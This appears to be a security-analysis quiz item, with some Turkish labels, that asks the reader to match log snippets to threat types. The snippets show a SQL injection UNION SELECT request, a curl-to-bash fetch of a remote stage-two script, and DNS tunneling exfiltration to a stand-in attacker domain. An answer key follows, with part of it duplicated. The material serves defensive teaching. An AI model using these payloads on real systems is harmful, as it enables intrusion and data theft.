Match each security telemetry log snippet with its corresponding threat classification or event type.
- Apache Access Log:
10.0.4.15 - - [27/Jul/2026:10:15:02] "GET /catalog.php?id=10%20UNION%20SELECT%20null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 3420SQL Injection (SQLi) attack attempting database metadata discovery - Windows Security Event Log:
Event ID 4625 | Target Account: Administrator | Failure Reason: Unknown user name or bad password | Rate: 450 failed attempts within 30 secondsAutomated brute-force authentication attack targeting a privileged account - Linux Auditd Log:
type=EXECVE msg=audit(1785149300.124:402): execve("/bin/bash", ["bash", "-c", "curl -s http://192.168.5.10/stage2.sh | bash"], ...)Command Injection post-exploitation leading to remote script execution - DNS Query Telemetry:
Query Type: TXT | Domain Request: "dGVzdF9zZWNyZXRfZGF0YQ.exfil.attacker-control.net" | Response Code: 200 OKDNS Tunneling attempt utilizing encoded subdomains for covert exfiltration
Cevap
1. Apache access log showing UNION SELECT syntax matches SQL Injection database schema discovery.
2. Windows Event ID 4625 showing rapid failures matches automated brute-force authentication.
3. Linux auditd log showing curl piped to bash matches command injection payload execution.
4. DNS query showing encoded subdomains in TXT records matches DNS tunneling.
2. Windows Event ID 4625 showing rapid failures matches automated brute-force authentication.
3. Linux auditd log showing curl piped to bash matches command injection payload execution.
4. DNS query showing encoded subdomains in TXT records matches DNS tunneling.
Each log archetype provides unique markers: SQL keywords in HTTP logs indicate SQL Injection, high-frequency Event ID 4625 logs indicate brute-force authentications, auditd shell invocation logs indicate command execution, and encoded DNS TXT subdomains indicate DNS tunneling.
Adım Adım Çözüm
Anahtar Kavram
Telemetry Identification and Security Event Correlation